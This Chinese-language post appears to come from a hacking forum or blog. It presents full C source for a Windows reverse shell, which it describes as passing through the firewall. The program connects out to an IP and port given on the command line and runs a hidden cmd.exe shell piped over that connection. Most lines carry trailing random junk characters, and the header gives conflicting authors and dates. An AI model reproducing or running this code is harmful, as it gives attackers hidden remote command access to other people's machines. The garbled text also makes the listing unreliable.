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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 GE}>{x=^x  
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/* ============================== A:V/i:IZfR  
Rebound port in Windows NT -qpe;=g&f  
By wind,2006/7 .<Jq8J  
===============================*/ U)D}J_Zi(  
#include j~O"=?7!O  
#include 0(+dXzcwM  
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#pragma comment(lib,"wsock32.lib") j!K{1s[.y  
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void OutputShell(); $;j{?dvm.  
SOCKET sClient; TTo5"r9I 8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; kI,O9z7A7  
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void main(int argc,char **argv) Cf3<;Mp<  
{ -o YJ&r  
WSADATA stWsaData; 9O-*iK  
int nRet; c@{M),C~E  
SOCKADDR_IN stSaiClient,stSaiServer; IaGF{O3.  
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if(argc != 3) x%55:8{  
{ tF!-}{c"k  
printf("Useage:\n\rRebound DestIP DestPort\n"); S=3H.D!f  
return; ,m;G:3}48  
} "*N]Y^6/A  
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WSAStartup(MAKEWORD(2,2),&stWsaData); _q`f5*Z[  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TlJ'pG 4^  
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stSaiClient.sin_family = AF_INET; yS@xyW /  
stSaiClient.sin_port = htons(0); H~?p,h  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); eI+p  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?]0bR]}y  
{ B2,JfKk/  
printf("Bind Socket Failed!\n"); >RXDuCVi  
return; ^Kn:T`vB  
} \0z<@)r+AJ  
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stSaiServer.sin_family = AF_INET; 7?2<W-n  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d2*uY.,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >C/O >g  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W" 1=K] B  
{ !6eF8T  
printf("Connect Error!"); KHoDD=O  
return; "@rXN"4  
} pGsu#`t  
OutputShell(); mh8)yy5\  
} ;b^"b{  
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void OutputShell() ]gmkajCzD  
{ xd^9R<  
char szBuff[1024]; og|~:>FmJo  
SECURITY_ATTRIBUTES stSecurityAttributes; Kj* $'('  
OSVERSIONINFO stOsversionInfo; YT)@&HaF  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lVS.XQ2<  
STARTUPINFO stStartupInfo; 'E%+ O  
char *szShell; %Sw hNn  
PROCESS_INFORMATION stProcessInformation; DTC OhUIV  
unsigned long lBytesRead; wE#z)2?`\  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); n4/Jx*  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _yc &'Wq  
stSecurityAttributes.lpSecurityDescriptor = 0; ? 9;r|G  
stSecurityAttributes.bInheritHandle = TRUE; g UA_&_  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Kl w9  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -PskUl'  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =Y-mc#{8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1IWP~G  
stStartupInfo.wShowWindow = SW_HIDE; =yLJGNK[  
stStartupInfo.hStdInput = hReadPipe; HI{IC!6  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nmUMg  
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GetVersionEx(&stOsversionInfo); wQN/MYF[  
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switch(stOsversionInfo.dwPlatformId) xRm~a-rp  
{ B^"1V{M  
case 1: z460a[Wl  
szShell = "command.com"; Mtq^6`JJ'  
break; 2Z*^)ZQB  
default: KNqs=:i  
szShell = "cmd.exe"; X>ck.}F  
break; '%[r9 w  
} ^"EK:|Y4%K  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <{1=4PA  
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send(sClient,szMsg,77,0); 1ika'  
while(1) 0-Vx!(  
{ M]A!jWtE  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); YCo qe,5  
if(lBytesRead) t? [8k&Z  
{ Y]H,rO  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H]Vo XJ\*  
send(sClient,szBuff,lBytesRead,0); T&s}~S=m  
} R9O1#s^  
else Un\ T} c  
{ ^_JByB D  
lBytesRead=recv(sClient,szBuff,1024,0); Ep1p>s^  
if(lBytesRead<=0) break; GJn ~x  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?TY/'-M5  
} ;BYv&(#u1q  
} o/mGd~  
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return; \Qei}5P,  
}
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